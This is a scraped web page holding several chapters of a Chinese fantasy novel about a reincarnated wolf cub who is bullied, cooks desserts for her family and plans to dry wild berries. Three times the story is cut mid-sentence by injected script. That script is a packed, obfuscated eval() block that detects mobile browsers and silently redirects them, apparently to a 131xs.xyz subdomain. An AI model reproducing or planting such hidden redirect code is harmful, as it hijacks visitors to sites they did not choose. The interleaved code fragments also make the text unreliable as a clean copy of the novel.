$(''#content'').append('' ?” 柴棉棉:??? 就她这个小体格,打得过谁?还是不要自取其辱了吧。 柴棉棉使劲摇头。 黑灰白三只崽随黑耳他们出发,一路上听他们讲起团战的起因。 说对方的首领叫壮壮,长得格外粗壮,一身蛮力像座小山似的,带着两个属下,石头和阿蛮,也是粗壮力蛮,平常就喜欢横行霸道,抢别人的东西,支使别人做事情,还特别看不起别人。 他们三个忍无可忍,才决定团结起来对抗对方。 虽然部落占领了整座山当族地,但狼崽的活动范围很受限,好些地方大人们都不许他们去。 他们只能在部落的居住区以及广场附近探索游玩,甚至取水的水潭都不许他们去。 前些天,火娃在广场附近的一条地缝里发现了一丛绿植,尖尖三角绿叶间长出了几颗红果子。 那果子她认得,秋天漫山遍野就冒出来了,甜甜酸酸的,特别好吃。 她把消息告诉黑耳芽芽,大家都非常高兴,因为大家都特别爱吃东西,尤其是甜甜的东西,很珍贵,偶尔吃一次能开心一整天。 他们天天到地缝那里守着绿植,将新长的果子全部分吃掉。 然而过了几天,壮壮他们也知道了这个地方,就霸道地要把黑耳他们赶走,不许他们再吃红果子。 黑耳几个当然不服气了。 凭什么呀?这个地方是他们先发现的,凭什么让给壮壮几个? 于是就约定打一架,赢的团体独占地缝里的那一丛红果子。 一行人顺着山路往下走,脚下是简陋的黄土台阶,被秋阳晒得发烫。两侧的栎树落着深褐的叶片,崖壁上垂挂的青藤缠在一处,风过时卷起满地碎叶,极远处柑橘林飘来的甜香直往鼻尖钻。 走了约莫半盏茶的功夫,眼前忽然铺开一片开阔地——足有十亩地大,地面嵌着不少鹅卵石,被往来的脚步踩磨得发亮,边缘搭了好些草棚子皮棚子,有人在里面干活。 路过开阔的广场,拐向西侧不起眼的角落,那里堆着些滚落的灰岩块,里头一道尺许宽的地缝像被巨斧劈开,三角锯齿状的叶片从石缝里冒出来,层层叠叠往四周舒展,绿意生机勃勃。 最打眼的是叶丛中间,悬着一两颗红果子,红得鲜艳夺目,格外诱人。 那不是刺莓吗?土名儿也叫刺泡子。 柴棉棉没吃过,但据说和草莓很相似,是甜的。 她想起草莓的香甜,嘴巴里不由自主地分泌出口水。 投胎转世到这个原始世界做狼,她还没尝过甜味儿的东西,真想吃阿。 “你们终于来了!我还以为你们知道打不过我们,不敢来了呢!”灰石块上坐着一个高壮得有过分的竖短发小孩,他双手抱胸,很不屑地望下来。 黑耳顿时怒目圆睁,大声道:“谁不敢来了?接纳了三个新伙伴,耽搁了一点时间而已。” “新伙伴?什么新伙伴?”竖短发的高壮小孩站起来,视线逡巡,落在黑灰白三只狼崽身上。 “你们,是尖爪叔叔的崽?” “你是黑黑,你是灰灰,你是…棉棉?” 柴棉棉心中吃惊。 第一次见面,他怎么知道得那么清楚? 11. 第 11 章 竖短发的高壮小孩无趣地移开眼睛:“三只连人形态都变不出来的小崽子,也就只有你会把他们当成伙伴了。” 黑耳怒目圆睁,低吼道:“壮壮,你再说一遍?” 黑黑跟着龇牙低吼,喉咙里滚出威胁的气音。 壮壮一脸不耐烦:“要打就打,我没兴趣跟你废话。” 黑耳:“那就打!” 话音刚落,两方六个孩子齐齐化作狼形态,向对方扑过去。 狼影瞬间缠在一处,分不清谁是谁。这只刚咬住对方前腿,就被另一只撞得侧翻;那只爪子刚按住对手后背,后腿已被狠狠啃了一口,疼得闷哼一声。 没有章法,全凭本能扑咬,你撞得我踉跄,我甩头咬你耳朵,滚在地上扭作一团,狼毛飞乱,涎水四溅,爬起来又冲上去撕咬,喉咙里全是凶狠的咆哮。 黑黑灰灰站在旁边,兴奋地长嚎助威,恨不得立刻加入进去。 柴棉棉后退一步,再退一步,躲到一块大石头后面,害怕战斗波及到自己。 五分钟后,局势渐渐分明。 芽芽先被两只狼夹击,前腿一软栽倒在地,跟着就有尖利的牙齿抵住了它的喉咙。火娃想冲过去帮忙,却被壮壮化身的狼猛地撞在侧腰,翻滚几圈后也被按住。 黑耳孤军奋战,又挨了几下狠的,终是体力不支,被扑倒在地。 壮壮踩在他身上,利齿抵着他的喉咙:“你们输了。” 黑耳声音分外冷静:“我知道。按照约定,地缝里的红果子归你们了,我们不会再来。” “有没有约定,地缝里的红果子都是我的。”壮壮抬脚退开两步,化作人形,姿态带着懒洋洋的傲慢,“以后我再想要什么东西就乖乖让出来,怎么和我打一场必输的架会让你心里觉得更好受吗?浪费我的时间。” 黑耳站起来,抖了抖毛,低沉地呜呜两声:“总会一天,我们会赢。” 壮壮轻蔑地移开了目光。 阿蛮站出来说:“滚吧,废物们,这里不欢迎你们!” 三只毛发凌乱的狼崽互相看了看,转身准备离开。 “黑耳!虽然你是我的手下败将,但我承认你是一个强者。只要你肯放弃那些拖后腿的,向我臣服,我愿意接纳你做我的属下。”壮壮跳上石块,居高临下地蔑视众人,“和那些废物混在一起,你迟早也会变成废物,尤其是那个躲在石头后面,连看别人打架都害怕的废物。你说对吧,棉棉?” 刹那间,所有人的目光都落到了柴棉棉身上。 柴棉棉不安地迎向望过来的一双双眼睛,热气上涌,如果她现在是人形态,一定脸色涨红,狼狈万分。 她正害怕,不知道该说什么,忽听黑黑怒吼一声:“你懂个屁!棉棉她很厉害的!” 柴棉棉鼻梁骨一酸,霎时间泪意便涌入眼眶,仿佛下一刻便要决堤而出。 她艰难地忍住,不肯示弱,不想在外人面前闹出笑话。 壮壮说:“我说的是事实,一个抢不到母狼的奶、要靠母山羊的奶才能活下来的幼崽,不是废物是什么?” 黑黑喉咙里发出凶狠的低吼,黄澄澄的眼睛冒出凶光,像是要扑上去跟壮壮搏命。 灰灰也摆出战斗姿态,凶狠地龇出一口尖锐的乳牙,像是要和黑黑一起扑上去。 柴棉棉顾不上太多,连忙跑过去拦在黑黑灰灰面前。 方才两方团战,她全程旁观,看出两方狼崽都是有分寸的,虽然打得不可开交,但并未下死手或者下死口。 黑黑灰灰连芽芽都打不过,他们若真上去跟壮壮搏命,壮壮肯定也不会留手,到时候黑黑灰灰一定会受伤。 她不能坐视此事发生,她不愿意让维护她愿意为她拼命的亲哥哥和亲姐姐受伤。 “黑黑,走吧,不要理他。” 黑黑十分不甘心,还想跟壮壮斗一斗,却在骤然撞进她含着泪水的金色眼眸时颓废地垂下耳朵。 几只狼低下头,丧气如落水狗般转身离开。 “果然是废物,不但是废物,还是懦夫,被人指着鼻子骂也不敢反抗,尖爪叔叔真是脑子糊涂了非要养活你,浪费族里的资源。” 柴棉棉脚步一顿,加快速度离开。 黑黑很担心她,一路跟在她旁边,时不时观察她的神色。 等走到很远很远的地方,柴棉棉快速地跟黑耳说:“对不起,我今天给你们丢脸了,我打算回家,你们玩吧,不用管我。” 她抬头快速辨别了一下家的方向,抬脚往家的方向疾步走去。 黑耳一脸懵逼。 什么什么?丢脸是什么?给他丢什么脸了? 壮壮那家伙,向来看不起人,满脑子只有他自己那粗胳膊粗腿,不能像他一样强壮的一律被他视为废物,每次跟他打架打输了都要被他用难听的话说一顿,他们几个见多了。 明明是壮壮的问题,跟棉棉有什么关系? 黑耳没反应过,却见棉棉已经跑远了。 他忙跟火娃芽芽交待:“你们先玩,我把棉棉送回家再来找你们。” 他加快速度跟在黑灰白三只崽后面,远远的,见他们都走进了家门口,才放心地吐出一口气。 尖爪叔叔拜托他照顾三只崽,他跟阿爸保证过的,可不能让三只崽出什么事。 柴棉棉闷头一气跑回家,强行绷住的情绪瞬间决堤而出,她趴在自己窝里,呜呜痛哭起来。 黑黑急得在她周围四脚乱跳,喉咙里下意识发出安抚的呼噜声,他根本不知道该怎么做,只能学阿爸阿妈的样子笨拙地哄她:“棉棉,不哭,不哭不哭……” 一向脑子糊涂反应慢只知道跟在黑黑后面有样学样的灰灰突然聪明了起来,她走过去轻轻给棉棉的后脑勺舔毛,温柔地从脑袋舔到后颈再舔到脊背,喉咙里发出母狼哄小宝宝的声音。 柴棉棉霎时间哭得更加厉害,肢体却发生变化,不再把脑袋埋在手臂里,而是转头朝灰灰的怀抱里拱去。 灰灰两只前腿将她大半身子搂住,更加用力给她舔毛,一边舔一边哄,哄得她把心里的伤痛痛快快全部宣泄了出来。 然后,她就慢慢地好了。 柴棉棉在兽皮上蹭掉眼泪,有些羞愧:“我是不是太软弱太没用了?别人说一句话就哭成这样。” 黑黑苦恼地挠了挠脑袋,回答这样复杂的问题对他来说实在是一大挑战,他索性按自己的想法来,十分理直气壮:“壮壮把你欺负哭了,我记着,等我长大了变强壮了一定狠狠揍他一顿!” 灰灰一本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179537|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正经地呜呜,表示赞同。 柴棉棉笑了。 她站起来,亲昵地舔灰灰的面颊、舔她的耳朵、舔她脑袋一圈,又同样舔了黑黑一遍:“谢谢你们,我不难过了。” 黑黑呜呜:“那能给我们做姜撞奶吃吗?” 灰灰眼睛一亮,立刻点头附和。 柴棉棉有些为难,怕狼形态的叫声解释不清楚,特地变成人形态说话:“不是我不想给你们做,是我们都太小了,没办法独自出去担水捡柴火。先前路过广场的时候我听那些老人聊天,说丰收节快到了,族里要抓紧时间收集储存食物用于丰收节祭神和度过冬日,阿爸是狩猎队成员,阿妈也回采集队了,这段时间他们肯定都特别忙特别辛苦,不好再麻烦他们。” 黑黑灰灰失落地垂下耳朵。 柴棉棉心里挺不好受的。 黑黑灰灰如此爱护她,她却连为他们做一点好吃的都做不到。 但她实在没办法,水潭对五岁孩童来说很危险,她如果不小心掉进去了,必死无疑。 而且家里的水桶,它不是那种后世常见的用薄木板拼接而成带有把手和绳子的木水桶,是用一截树干掏空做成的,没有涂油工艺,为了防止渗水,桶壁很厚,导致整个木桶就很重,柴棉棉根本抬不起来。 她有些歉疚地说:“我那里还剩有一些野姜,等会儿阿爸阿妈带食物回来了,我给你们做姜汁拌肉好不好?” 两只狼崽顿时又快活起来了。 他们摇起尾巴,高兴得呜呜直叫。 柴棉棉见他们开心,也跟着笑了。 到了下午,阿爸阿妈回来了,两人满载而归,一个带了好多肉,一个带了好多好多果子。 阿妈蹲下身,把沉甸甸的兽皮袋子往地上一放,袋口的绳结一松,红果子就争先恐后地往外掉,甜丝丝香气瞬间涌入鼻尖,仿佛连洞穴里的空气都染甜了。 “哇!是刺莓!!好多好多的刺莓!!!” 三只崽激动得呜呜直叫,摇着尾巴就往兽皮袋子里扑,被阿妈一手臂横扫,全都挡住了。 “不要急,想吃阿妈给你们分。” “棉棉,你看着黑黑和灰灰,不许他们偷吃。” 她和尖爪出去,打了好几桶水回来,先补充一家五口的日常饮水,再将红果子简单清洗一下,等量堆到三个饭盆里。 三只狼崽埋进饭盆里欢快地吃起来,吧嗒吧嗒,吧嗒吧嗒,吃得头也不抬,三条尾巴几乎摇成螺旋桨。 柴棉棉吃了一颗,又吃了一颗,眼睛里几乎冒星星。 好甜好甜,真的好甜好甜~ 只有一点点酸酸的味道,几乎可以忽略不计。 果然和草莓一样,口感柔软多汁,有时候又带一点沙沙的脆感,吃起来更有趣了。 柴棉棉越吃越开心,开心得几乎冒泡,不自觉发出幸福的呜呜声。 明眸摸摸黑毛崽的脑袋,又摸摸灰毛崽,再摸摸白毛崽,有些遗憾:“这种红果子一到秋天就漫山遍野地冒出来,又好吃又容易采集,可惜结果时间太短,二十多天就掉光了,也保存不了,采回来放着第二天就烂了。” 柴棉棉敏锐地动了动耳朵,抬起头露出一张红果汁染出的小花脸:“阿妈,可以做刺莓酱呀!” 12. 第 12 章 柴棉棉怕阿妈听不懂,特地变成人形态详细讲了一遍。 阿妈听完刺莓酱的做法,摇了摇头。 “我们部落里没有你说的糖,盐也是很珍贵的东西,陶器更是只有老祭司和两位族长那里有,就连柴火都腾不出人手去收集。” 她示意棉棉去看阿爸尖爪。 尖爪正在很认真细致将肉分割成一条一条的,打上孔用草绳系紧,挂在靠近洞穴门口的木架子上。 “我们部落有九十只狼,每天要吃很多很多的肉,冬天猎物踪迹难寻,狩猎非常困难,如果在进入冬天之前不能储存足够多的肉,族人们肯定会饿肚子,甚至熬不过初春。” “现在采集队搬回来的柴火,主要给部落熏肉用,那样能在较短的时间内储存更多的肉,我们自己家里就吊一些肉,虽然速度慢很多,但在冬天之前也能攒一些应急。” 柴棉棉有些挫败,又不甘心:“那做果干呢?采些刺莓回来放在太阳底下晒一晒,也能多保存一段时间。” 明眸笑道:“当然可以了。你若是想要,可以做一点放在家里慢慢吃。” 柴棉棉明白阿妈的意思了。 她自己想做,阿妈是支持的,但是家里的大人没有多余的时间精力帮助她搞大量的刺莓果干。 没关系,她本来也没想做太多。 况且晒果干她也没有真正做过,先小量尝试一下总结经验更好。 柴棉棉扑到明眸怀里撒娇:“阿妈,那这几天你回家给我多带一些刺莓好不好呀?” 明眸捏捏她的小脸蛋,欣然答应:“好呀。” 今天的活动量超标,柴棉棉吃完晚饭没多久就趴自己小窝里睡着了。 尖爪将精力旺盛还在与灰灰打闹的黑黑拎到洞穴外,低声问话:“今天你们三个跟黑耳出去玩,有没有发生什么事?” 黑黑顿时来劲了,呜呜个不停,左蹦右跳带比划,诉说委屈并狠狠告了壮壮一状。 尖爪扶额,忍不住吐槽:“暴牙怎么能把自己的崽教成那个样子?” 不过这事说到底,也只是幼崽之间的几句吵嘴,壮壮说的话很难听,但并没有对棉棉造成实际伤害,大人是不好干涉的。 得棉棉自己想办法解决这个困难。 尖爪蹲下来,温柔地摸了摸黑黑的脑袋:“今天的事你做得很好,要照顾两个妹妹,辛苦你了。” 黑黑罕见地害羞了,有些扭捏地蹭了蹭阿爸的掌心,尾巴高兴地摇动着。 尖爪亲昵地挠他的下巴,认真地跟他说:“棉棉爱哭,那是她的天性,并非软弱的表现。面对壮壮的奚落,她选择离开,而不是鼓动你和灰灰与壮壮打架,不是懦弱,是聪明理智的选择,也是爱护你和灰灰的表现,你明白吗?” 黑黑思索片刻,点了点头。 尖爪笑了,摸摸他的狼头:“你是哥哥,身体强壮脑子也聪明,以后在外面玩,两个妹妹就拜托你多看顾了,尤其是棉棉,她很容易受伤害,需要你多留心。” 黑黑挺起小胸膛,兴高采烈地呜呜保证:“阿爸你放心,我会照顾好她们两个的!” 尖爪忍不住将可爱的黑毛崽抱起来,放在腿上搓揉,一边揉一边亲亲:“阿爸的黑黑真乖真厉害啊……” 黑黑被揉得忘乎所以嘿嘿直笑,嘴里突然冒出一句:“那阿爸,我可以吃一次姜撞奶吗?” 尖爪一愣:“今天不是吃了姜汁拌肉吗?” 黑黑馋得念念不忘:“姜汁拌肉好吃,姜撞奶更好吃。” 尖爪想了想:“做姜撞奶用的柴火不多……行!我跟你阿妈说,明天下午带一些新鲜野姜和柴火回来,咱们烧了灶,让棉棉做给你吃。” 黑黑激动得差点仰天长啸:“谢谢阿爸!” 尖爪连忙捏住他的嘴筒子:“棉棉睡了,你小声点儿。” 黑黑连忙点头。 棉棉被壮壮欺负这件事,说是得靠棉棉自己想办法解决,但尖爪不可能什么都不做。 族地附近的猎物能抓的基本都抓光了,再过两天,他要随狩猎队去更远的地方狩猎,一走至少两三天。这期间他不在家,明眸又有采集队的事情要忙,两头顾难免会有所疏忽。 若他不在族里的这段时间,黑灰白三只崽受了欺负,周围却无一人帮助他们,那他要心疼死。 所以第二天早上出门时,他特地跟明眸去了采集队,请采集队帮忙收集一些刺莓、柴火、野姜,下午拿了狩猎分得的肉跟采集队换,然后和明眸一起背着这些东西回家。 两人大包小包出现在家门口,三只崽都惊了。 黑白灰三只崽齐齐凑上来,狼头争先恐后地往兽皮袋子凑,一边嗅闻一边猜。 “阿爸,这是什么呀?这是野姜,好多好多野姜!” “阿妈,这是什么呀?这是刺莓,好多好多刺莓!” “阿爸阿妈,这是什么呀?闻起来味道杂杂的。”灰灰探头进袋子开口处往里一瞧,冷淡离开,“哦,这是柴火。” 明眸乐不可支,将灰毛崽拖过来一顿揉摸,笑眯眯道:“棉棉想要刺莓果干,黑黑想要姜撞奶,那灰灰有没有什么想要的东西呀?” 灰灰懵懂呜呜:“姜撞奶好吃。” 明眸很耐心地引导她:“除了姜撞奶之外呢?灰灰有没有什么特别想要的东西?” 灰灰一愣,抬起前脚挠了挠耳朵,露出苦思的神情,似乎这么小的一件事对她来说也是一项难题。 明眸爱怜地揉了揉她的脑袋:“没关系,你慢慢想,想出来了就告诉阿妈。阿爸阿妈满足了黑黑和棉棉的愿望,当然也要满足灰灰的愿望。” 灰灰不太明白其中的深层含义,但不知道怎么的就很高兴,咧着嘴点头。 那边柴棉棉正在清点刺莓的数量,一个大袋子,两个大袋子,三个大袋子……足足有三个大袋子,就算损耗达到了九成,做成的果干也足够吃很久了。 她高兴地扑到阿爸阿妈身边呜呜表示感谢。 黑黑也学她的模样,先谢阿爸再谢阿妈,在屋里兴奋地跳来跳去。 阿爸阿妈摸摸这个又摸摸那个,眉开眼笑地说:“咱们先吃饭,吃完了饭一起干活,做姜撞奶吃。” 黑黑灰灰:“嗷呜——嗷呜——” 棉棉也高兴地跟着嗷呜——嗷呜—— 一时间,洞穴里全是崽子们高兴的狼嚎声。 洗姜,榨姜汁,煮羊奶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179538|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舀起羊奶从20厘米的高空倒入盛有姜汁的石盆,盖上盖子,等待一会儿。 然后全家一起打扫卫生,虽然黑黑灰灰没有手,但也力所能及地帮忙叼一些东西,还干得特别积极特别高兴。 柴棉棉视线落到那三袋刺莓上,冲阿妈说:“我想再在姜撞奶上面加一些辅料。” 明眸:“什么辅料?” 柴棉棉:“做一些刺莓酱放在姜撞奶上面,阿妈,你帮我洗一盆刺莓好不好?” 明眸欣然答应。 于是挑选看起来最红最甜的刺莓,洗了一大盆,用鹅卵石细细地砸成刺莓酱,这个时候,姜撞奶也成型了。 白嫩香滑的半凝固体打进两个幼崽的饭盆,再在上面浇一层厚厚的刺莓红酱,然后柴棉棉、明眸、尖爪也一人舀一碗,再浇一层酱。 羊奶的香和刺莓酱的甜瞬间充盈了所有人的鼻腔,仿佛空气里都是即将享受美食的幸福味道。 黑黑嗷呜一大口,嚼了嚼吞进肚子里,眼睛瞬间就亮了。 尾巴飞快地摇起来,开心地呜呜直叫。 好吃好吃,太好吃了! 会做姜撞奶浇刺莓酱的棉棉是天底下最厉害的棉棉! 打架打赢了有什么用?吃得到姜撞奶浇刺莓酱吗? 谁是废物?不会做姜撞奶浇刺莓酱才是废物! 想到这里,黑黑竟然有些可怜壮壮他们,为了一丛红果子打来打去,最后也只能吃几颗红果子罢了。 不像他,吃得是刺莓酱,是姜撞奶浇刺莓酱,嘿嘿~ 黑黑吃撑了,倒在地上挺着圆滚滚的肚子,四爪朝天,露出粉色的肉垫,像一只任人宰割的可爱小狗狗。 那谁能忍住不摸呢?明眸就摸了。 明眸一口气吃掉整碗姜撞奶浇刺莓酱,放下碗就上手摸黑毛崽圆滚滚的毛肚子,叹道:“可惜了,你不能变成人形态。如果你变成人形态,你就会发现今天的姜撞奶浇刺莓酱更加好吃。” 黑黑瞬间抬起狼头。 什么?!人形态吃姜撞奶浇刺莓酱更加好吃?! 怎么变成人形态? 黑黑皱紧眉头,浑身使劲。 他要立刻!变成人形态! 明眸:“……黑黑,不准在洞里拉屎!要拉屎出去拉,记得,拉完必须埋屎。” 黑黑急得呜呜:“我没有要拉屎!我要变成人形态!!” 明眸:“这个事不用着急,你迟早能变成人。” 黑黑:“不,我很急。” 阿妈不懂,棉棉是一个很关心阿爸阿妈辛苦不辛苦的棉棉。 如果做姜撞奶浇刺莓酱会让阿爸阿妈更辛苦,她就不肯做了。这一次,也是他求了阿爸,阿爸主动带了食材和木柴回来,棉棉才肯做的。 下一次,就不知道是什么时候了。 那不得吃个够?! 黑黑急着急着,突然发现眼前的两只前爪开始发生变化,黑毛消失,脚趾变细变长,变成了一双人手! 他低头看了看自己的胸膛,又看了看两只翘起来的脚,顿时鲤鱼打挺一跃而起,高兴呜呜:“我变成人啦!” 一时间,洞穴里所有人的目光都落到了他身上。 13. 第 13 章 为了更好吃的姜撞奶浇刺莓酱,黑黑在吃第二顿熟食时就完成了初次化形,变成了一个健康强壮的5岁孩童。 他不顾阿爸阿妈轮流将他抱进怀里左摸摸右捏捏检查身体状况,一双黄澄澄的眼睛只巴巴地望向小妹:“棉棉,再给我打一碗吧。” 柴棉棉:“……” 大盆里确实还剩一层浅底,阿爸阿妈不要,她就将这一层浅底平均分成两份,给黑黑灰灰吃。 黑黑笨拙地拿起木片,挑起一块沾着刺莓酱的羊奶吃了,露出惊喜的神情。 阿妈说得果然没错。 人形态吃姜撞奶浇刺莓酱果然更好吃! 更复杂的口感,能够吃出微酸和微微辛辣在其中调和的美妙滋味,为羊奶的奶香和刺莓酱的甜增加了更丰富的味道层次。 简直就是一种享受。 他呆在阿爸怀里,一口一块,一口一块,好吃到晃脚尖。 尖爪一手抱黑黑,一手轻揉棉棉的脑袋:“你做的美味,把全家都征服啦。” 柴棉棉不好意思地红了脸:“没那么夸张,主要是大家都肯捧场。” 尖爪忽地问她:“今天你们跟黑耳哥哥出去玩,开不开心?” 柴棉棉一愣,答道:“挺开心的。黑耳哥哥带我们捉迷藏、玩斗草,还玩寻宝游戏……他、还有火娃芽芽都是很好的人,很照顾我和黑黑灰灰。” 尖爪循循善诱:“那你要不要做一些姜撞奶浇刺莓酱分享给黑耳哥哥他们,向他们表达感谢呢?” 柴棉棉又是一愣,挠了挠眉头:“要、要的吧?” 尖爪说:“那我们现在就出去,邀请黑耳、火娃还有芽芽明天上午来咱们家吃姜撞奶浇刺莓酱?” 柴棉棉:“哈?” 这么快?她都没有做好心理准备。 尖爪摸了摸她的脑袋,放下黑黑矮身与她平视,看着她的眼睛温柔地说:“不用害怕,不止你一个人,阿爸和阿妈都会陪你去,到时候你带着黑黑灰灰去做邀请,阿爸阿妈就在旁边等着。” 柴棉棉想象了一下那个场景,顿时胆子大多了,点头答应。 一家人打扮得整整齐齐出门,先后拜访了黑耳家、火娃家还有芽芽家。虽然有些紧张,但有阿爸阿妈的陪同,柴棉棉依然很顺利很好地完成了任务。 回到家里,天已经黑了。 柴棉棉看见屋里堆放的三袋刺莓,有些着急。 刺莓特别容易坏,如果这样堆放到明天,至少要坏一小半,那阿妈的辛苦都白费了。 幸好狼有夜视能力,趁现在赶紧将刺莓铺出去阴干一夜,从明天早上开始晒,还来得及。 她跟阿爸阿妈说了一声,出去寻找场地。 家里的洞穴坐落于半山腰上,洞口前铺开小半亩平地,铺了些鹅卵石修成方便踩踏的小径。再往外,地势骤然断裂,陡坡近乎垂直地坠向下方,简直像一处小悬崖。 无数树木从崖底拔地而起,枝桠向上生长直抵到洞穴门口,浓密的枝叶层层交叠,将整个陡坡严严实实遮掩住,仿佛是一片小树林。 阿爸阿妈害怕三只崽不留神走进小树林掉下陡坡,特地在陡坡前面立了块大石头,当作警示。 柴棉棉围绕大石头来回走了几步,遗憾地想,这块大石头用来晾晒刺莓就很不错,但是太细长了,高度太高,宽度和广度又不够。 她踩着鹅卵石铺就的弯曲小径往外走,在家周围找了一圈,也没有找到合适的晾晒地。 ——没有足够宽足够平整的石头,放地上肯定不行,会烂! 柴棉棉有些挫败,没想到简简单单晒个果子都那么困难,真是巧妇难为无米之炊啊。 她垂头丧气地回到洞穴里,跟阿爸阿妈说了她的困难。 没想到阿爸没有安慰她,又给她提了一个更大的难题。 “棉棉,山上好多小动物都是昼伏夜出的,你把刺莓这样的甜果子晾在外面一夜,那些小动物给你偷光了怎么办啊?” 柴棉棉:“……啊?” 柴棉棉傻眼了。 柴棉棉一时想不出好办法,怏怏不乐地睡了。 第二天早上她爬起来打开兽皮袋子挨个嗅闻,果然有一小部分开始局部腐烂,还有一些散发出过熟的气味,似乎再过一会儿就开始腐烂了。 她忍着心痛扔掉局部腐烂的刺莓,将过熟的果子挑出来三兄妹分着吃了,然后挑出熟得正正好看上去最红最甜的刺莓出来做刺莓酱。 昨天邀请黑耳等几个伙伴,是阿爸阿妈陪着她一起去的,跟黑耳他们的阿爸阿妈也有交流,她不能丢了阿爸阿妈的脸。 要尽可能拿出最好的菜品招待客人。 准备工作做得差不多,黑耳火娃芽芽三个小孩结伴来了。 他们打扮得整整齐齐,手上还拿着礼物,对待这次邀请的态度很认真。 黑耳送了一小块肉,火娃送了一小块兽皮,芽芽送了一大袋果子。 柴棉棉收好肉和兽皮,向黑耳和火娃表示感谢,好奇地拿出芽芽送的果子出来看了看。 芽芽介绍:“我阿妈采回来的。阿妈说附近山上有一片树林,树上结得都是这样的果子,先是青色再变成黄色,果肉酸苦不好吃,但挺好闻的,放在家里香香的,我觉得你会喜欢。” 柴棉棉确实很喜欢。 她已经认出来,这个青皮会变黄的果子是橙子。 表面散发出浓重的柑橘香味,正是这两天她出门游玩时偶尔闻到的味道。 剥开外皮,掰一瓣果肉塞进嘴里尝了尝,她的脸庞立刻皱在了一起,五官都酸得移位了,果然是又酸又苦。 她将橙子放好,请三位小伙伴稍候片刻,出去烧火煮羊奶。 黑耳跟过来:“我们来帮忙。” 柴棉棉连忙推拒:“不用不用,我很快做好,你们等一会儿就好了。” 姜撞奶浇刺莓酱,柴棉棉做很多回了,火候、手法、调味越发得心应手,做出来的成品越发趋近于完美,能将这个时代的食材的美味更恰当更美味地体现出来。 六个小朋友一人打了一碗甜品,拿凹凸不平的石头当凳子,坐着吃。 黑耳端起碗仔细看了一圈,对棉棉说:“你做的饭真好看啊,红红白白的,像新鲜的肉一样。” 柴棉棉哭笑不得。 或许对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179539|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑耳来说,像新鲜的肉已经是很棒的赞誉。 柴棉棉说:“你尝尝看。” 黑耳拿木片挖起一块,沾着香甜红酱的奶白色羊奶颤颤巍巍的,似乎下一秒就要掉回碗里,吓得他立刻怼进嘴里,然后就怔住了。 他满脸不可置信,一向沉稳冷静的神情竟变得有些傻乎乎的:“我从来没有吃过这么好吃的东西……” 柴棉棉忍不住笑了。 每一个第一次吃她做的姜撞奶浇刺莓酱的狼人都是这个反应,让她觉得有趣的同时,心里也止不住地高兴。 嘴角咧开,合都合不拢。 她努力地压平嘴角:“好吃就快吃吧,你看他们,都要吃完了。” 黑耳猛然转头,看见四个小伙伴默然不语只是一味地干饭,不由危机大增。 大盆里还剩一小半姜撞奶浇刺莓酱,这几个家伙吃光了就有理由再添一碗,到时候他们肯定一丁点儿都不会给他剩! 狡猾!毫无伙伴情谊! 黑耳抓紧时间品尝美味,既想快点吃完好添第二碗,又舍不得将如此美味囫囵吞枣,颇有一种痛并快乐的感觉。 吃完姜撞奶浇刺莓酱,黑耳带着火娃芽芽主动帮忙洗碗以及收拾灶台。 火娃看见墙边堆放的红果子就开始流口水:“棉棉,那些刺、刺莓你都要做成今天这样好吃的饭吗?” “不,我想把它们晒成果干,储存起来慢慢吃。” 提起这个,柴棉棉就有些失落,她兴致勃勃地想为家人在冬天增加一点滋味,结果就连晾晒这么简单的事情都困难重重。 黑耳苦恼地挠了挠头:“你那些刺莓太多了,附近没有那么宽那么平的石头。” 柴棉棉说:“所以,我想做几个箩筐,那种又大又扁的圆箩筐,放在架子上摞起来晾晒,天晴的时候放在门口,下雨的时候收回洞里,就不怕被偷了。” 黑耳听得一愣一愣的:“箩筐?是什么?” 柴棉棉拿起家里粗糙的竹节水杯:“就是这个竹子片成的竹篾编织而成的东西。” 她说的话太过不可思议,黑耳一时半会儿反应不过来。 柴棉棉叹气:“不过现在编箩筐也来不及了,刺莓太容易坏,那些果子放到明天就烂完了。” 她越想越沮丧,甚至几近打消念头:“算了吧,其实晾晒了也未必可以保存很久,我只知道理论知识,根本没有实际操作过,辛辛苦苦好几天,说不定最后竹篮打水一场空……” 她一想象阿爸阿妈失望的神情,心里就难受得厉害,对制作刺莓果干的期待竟在凭空生出的恐惧中渐渐消磨殆尽了。 “早知道就不让阿妈采集这么多刺莓了,都浪费了……” “棉棉,刺莓果干好吃吗?” “当然好吃了。”柴棉棉不假思索地回答,丧丧地说,“你瞧咱们冬天吃的食物,就是那些吊干的肉,一吃吃两三个月,多无聊啊,要是偶尔有一两颗刺莓果干增添一点甜味,滋味肯定好很多。” 